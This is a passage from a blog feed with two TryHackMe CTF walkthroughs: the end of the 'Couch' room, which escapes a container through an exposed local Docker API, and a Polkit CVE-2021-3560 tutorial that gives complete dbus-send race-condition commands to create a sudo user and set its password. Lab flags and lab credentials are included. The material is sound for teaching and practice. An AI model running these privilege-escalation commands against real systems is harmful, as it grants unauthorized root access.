Last login: Fri Dec 18 15:25:27 2020 from 192.168.85.1
atena@ubuntu:~<span class="nv">$ </span>
atena@ubuntu:~<span class="nv">$ </span><span class="nb">ls
</span>user.txt
atena@ubuntu:~<span class="nv">$ </span><span class="nb">cat </span>user.txt
THM<span class="o">{</span>1ns3cure_couchdb<span class="o">}</span>
atena@ubuntu:~<span class="nv">$ </span>
</code></pre></div></div>

<p>Login to the <code class="language-plaintext highlighter-rouge">SSH</code> server using the credential and</p>

<p>Question: Compromise the machine and locate user.txt</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">THM{1ns3cure_couchdb}</code></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>atena@ubuntu:/tmp<span class="nv">$ </span>netstat <span class="nt">-antup</span>
<span class="o">(</span>Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.<span class="o">)</span>
Active Internet connections <span class="o">(</span>servers and established<span class="o">)</span>
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:<span class="k">*</span>               LISTEN      -               
tcp        0      0 0.0.0.0:5984            0.0.0.0:<span class="k">*</span>               LISTEN      -               
tcp        0      0 127.0.0.1:2375          0.0.0.0:<span class="k">*</span>               LISTEN      -               
tcp        0      0 127.0.0.1:40073         0.0.0.0:<span class="k">*</span>               LISTEN      -               
tcp        0      0 10.10.136.71:22         10.10.250.123:48324     ESTABLISHED -               
tcp6       0      0 :::22                   :::<span class="k">*</span>                    LISTEN      -               
udp        0      0 0.0.0.0:68              0.0.0.0:<span class="k">*</span>                           -       
</code></pre></div></div>

<p>I saw that <code class="language-plaintext highlighter-rouge">127.0.0.1:2375</code> docker port running in the machine. From the hacktricks blog I found <a href="https://book.hacktricks.xyz/pentesting/2375-pentesting-docker#compromising">compromising</a> type privilege escalation which will help to escape from a docker container.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>atena@ubuntu:/tmp<span class="nv">$ </span>docker <span class="nt">-H</span> 127.0.0.1:2375 run <span class="nt">--rm</span> <span class="nt">-it</span> <span class="nt">--privileged</span> <span class="nt">--net</span><span class="o">=</span>host <span class="nt">-v</span> /:/mnt alpine
/ <span class="c"># ls /mnt</span>
bin             home            lib64           opt             sbin            usr
boot            initrd.img      lost+found      proc            srv             var
dev             initrd.img.old  media           root            sys             vmlinuz
etc             lib             mnt             run             tmp             vmlinuz.old
/ <span class="c"># ls /mnt/root/</span>
root.txt
/ <span class="c"># cat /mnt/root/root.txt</span>
THM<span class="o">{</span>RCE_us1ng_Docker_API<span class="o">}</span>
/ <span class="c"># </span>
</code></pre></div></div>

<p>Question: Escalate privileges and obtain root.txt</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">THM{RCE_us1ng_Docker_API}</code></p>

<p>Room link: <a href="https://tryhackme.com/room/couch">Couch</a></p>]]></content><author><name>Rudra Sarkar</name></author><category term="tryhackme" /><summary type="html"><![CDATA[Couch Hack into a vulnerable database server that collects and stores data in JSON-based document formats, in this semi-guided challenge.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://rudra0x01.xyz/assets/img/og-default.png" /><media:content medium="image" url="https://rudra0x01.xyz/assets/img/og-default.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">TryHackMe - Polkit: CVE-2021-3560 - Writeup</title><link href="https://rudra0x01.xyz/tryhackme-polkit-cve-2021-3560/" rel="alternate" type="text/html" title="TryHackMe - Polkit: CVE-2021-3560 - Writeup" /><published>2021-06-30T07:52:00+06:00</published><updated>2021-06-30T07:52:00+06:00</updated><id>https://rudra0x01.xyz/tryhackme-polkit-cve-2021-3560</id><content type="html" xml:base="https://rudra0x01.xyz/tryhackme-polkit-cve-2021-3560/"><![CDATA[<p>Polkit: CVE-2021-3560</p>

<p>Walkthrough room for CVE-2021-3560</p>

<h2 id="task-1--info-deploy">Task 1  Info Deploy</h2>

<p>Due to the services required to make this vulnerability work, this machine will take up to three minutes to deploy fully. Take the time to read the information in the following tasks before attempting to exploit it.</p>

<p>The exploit detailed in this room would often make use of a GUI desktop. For the sake of speed we will use the CLI. In-browser access is enabled for this machine; however, be aware that copy/paste functionality will only work if you full-screen the target in a browser that is not Firefox. Should you  prefer to SSH in for yourself; credentials for this will be given in the relevant task.</p>

<p>Question: Click the green “Start Machine” button to deploy the machine!</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">No Answer Needed</code></p>

<h2 id="task-2--info-important-about-dynamic-flags">Task 2  Info Important! About Dynamic Flags</h2>

<p>This box is the first on TryHackMe to use dynamic flags. As such, this is very much in beta, so please report any bugs to MuirlandOracle in the TryHackMe Discord Server.</p>

<p>Read the following information carefully before continuing:</p>

<ul>
  <li>When you complete the box you will find a flag at <code class="language-plaintext highlighter-rouge">/root/root.txt</code>. This will not look like a regular TryHackMe flag:</li>
</ul>

<p>Everything in the file should be submitted as a flag – including any symbols or special characters.</p>

<ul>
  <li>
    <p>This flag will be different every time you deploy the box. Each flag can be used exactly once, and will expire after six hours (so make sure to submit quickly!)</p>
  </li>
  <li>
    <p>When you have retrieved the flag, <strong>do not submit it directly into the TryHackMe answer field</strong>. Dynamic flags should be submitted to https://flag.muir.land/. This site is run by the room author and is not affiliated directly with TryHackMe.</p>
    <ul>
      <li>You will be asked to submit three pieces of information:</li>
      <li>Your username. It is very important that this is identical to your TryHackMe username!</li>
      <li>The box code. In most instances this will be the same as the room code. For this room the code will be: polkit
The flag</li>
    </ul>
  </li>
</ul>

<p>Read the information in the task.</p>

<p>Question: What is the URL of the website you should submit dynamic flags to?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">https://flag.muir.land/</code></p>

<h2 id="task-3--tutorial-background">Task 3  Tutorial Background</h2>

<p><u>Overview</u></p>

<p>In early 2021 a researcher named Kevin Backhouse discovered a seven year old privilege escalation vulnerability (since designated CVE-2021-3560) in the Linux polkit utility. Fortunately, different distributions of Linux (and even different versions of the same distributions) use different versions of the software, meaning that only some are vulnerable.</p>

<p>[…]</p>

<p>For this room we will be focussing specifically on Ubuntu 20.04. Canonical released a patch for their version of polkit (<code class="language-plaintext highlighter-rouge">policykit-1</code>), which has version number <code class="language-plaintext highlighter-rouge">0.105-26ubuntu1.1</code>. The last vulnerable version available in the apt repositories for Focal Fossa is <code class="language-plaintext highlighter-rouge">0.105-26ubuntu1</code>, so, if you see this, you may be in luck!</p>

<p>We can use <code class="language-plaintext highlighter-rouge">apt list --installed | grep policykit-1</code> to check the installed version of polkit</p>

<p>The original description of this vulnerability can be found in a post written by Kevin Backhouse, <a href="https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/">here</a>.</p>

<p><u>How is Polkit vulnerable?</u></p>

<p>The next logical question is of course: “How can we exploit polkit”?</p>

<p>The short answer is: by manually sending dbus messages to the dbus-daemon (effectively an API to allow different processes the ability to communicate with each other), then killing the request before it has been fully processed, we can trick polkit into authorising the command. If you are not familiar with daemons, they are effectively background services running on Linux. The dbus-daemon is a program running in the background which brokers messages between applications.</p>

<p>[…]</p>

<p>Question: In what version of Ubuntu’s policykit-1 is CVE-2021-2560 patched?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">0.105-26ubuntu1.1</code></p>

<p>Question: What program can we use to run commands as other users via polkit?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">pkexec</code></p>

<h2 id="tutorial-exploitation-process">Tutorial Exploitation Process</h2>

<p>We’ve seen the theory, now let’s see it in action!</p>

<p>Let’s try to add a new user called <code class="language-plaintext highlighter-rouge">attacker</code>, with sudo permissions, and a password of <code class="language-plaintext highlighter-rouge">Expl01ted</code>. Just read this information for now – you will have time to try it in the next task!</p>

<p>First, let’s look at the dbus messages we’ll need to send:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dbus-send <span class="nt">--system</span> <span class="nt">--dest</span><span class="o">=</span>org.freedesktop.Accounts <span class="nt">--type</span><span class="o">=</span>method_call <span class="nt">--print-reply</span> /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:<span class="s2">"Pentester Account"</span> int32:1
</code></pre></div></div>

<p>This command will manually send a dbus message to the accounts daemon, printing the response and creating a new user called attacker (<code class="language-plaintext highlighter-rouge">string:attacker</code>) with a description of “Pentester Account” (<code class="language-plaintext highlighter-rouge">string:"Pentester Account"</code>) and membership of the sudo group set to true (referenced by <code class="language-plaintext highlighter-rouge">theint32:1</code> flag).</p>

<p>Our second dbus message will set a password for the new account:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dbus-send <span class="nt">--system</span> <span class="nt">--dest</span><span class="o">=</span>org.freedesktop.Accounts <span class="nt">--type</span><span class="o">=</span>method_call <span class="nt">--print-reply</span> /org/freedesktop/Accounts/UserUSER_ID org.freedesktop.Accounts.User.SetPassword string:<span class="s1">'PASSWORD_HASH'</span> string:<span class="s1">'Ask the pentester'</span>
</code></pre></div></div>

<p>[…]</p>

<p>We need a password hash here, so let’s generate a <code class="language-plaintext highlighter-rouge">Sha512Crypt</code> hash for our chosen password (<code class="language-plaintext highlighter-rouge">Expl01ted</code>):
<code class="language-plaintext highlighter-rouge">openssl passwd -6 Expl01ted</code></p>

<p>Using openssl, we generate a password of type 6 (SHA512-crypt) and our plaintext password (<code class="language-plaintext highlighter-rouge">Expl01ted</code>).</p>

<p>Now let’s finish this! 5 milliseconds worked last time, so it should work here too:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dbus-send <span class="nt">--system</span> <span class="nt">--dest</span><span class="o">=</span>org.freedesktop.Accounts <span class="nt">--type</span><span class="o">=</span>method_call <span class="nt">--print-reply</span> /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:<span class="s1">'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.'</span> string:<span class="s1">'Ask the pentester'</span> &amp; <span class="nb">sleep </span>0.005s<span class="p">;</span> <span class="nb">kill</span> <span class="nv">$!</span>
</code></pre></div></div>

<p>With a hop, su, and a sudo -s, we have root!</p>

<h2 id="practical-do-it-for-yourself">Practical Do it for yourself!</h2>

<p>You’ve seen the theory, so now it’s time to try for yourself!</p>

<p>If you would like to SSH into the target machine, the credentials are:</p>

<ul>
  <li>Username: tryhackme</li>
  <li>Password: TryHackMe123!</li>
</ul>

<p>Otherwise please feel free to use the in-browser access on the right hand side of the screen. Bear in mind that the AttackBox can be deployed in tandem with the target machine.</p>

<p>Perform the CVE-2021-3560 exploit and get the flag from <code class="language-plaintext highlighter-rouge">/root/root.txt</code>!
Remember to submit the flag you find on the box to https://flag.muir.land/ <strong>in order to receive the final flag to submit below.</strong></p>

<blockquote>
  <p>Follow the step of <strong>Tutorial Exploitation Process</strong></p>
</blockquote>

<p>Question: Root Flag</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">THM{N2I0MTgzZTE4ZWQ0OGY0NjdiNTQ0NTZi}</code></p>

<p><strong>Note: this flag is dynamic.</strong></p>]]></content><author><name>Rudra Sarkar</name></author><category term="tryhackme" /><summary type="html"><![CDATA[Polkit: CVE-2021-3560 Walkthrough room for CVE-2021-3560]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://rudra0x01.xyz/assets/img/og-default.png" /><media:content medium="image" url="https://rudra0x01.xyz/assets/img/og-default.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>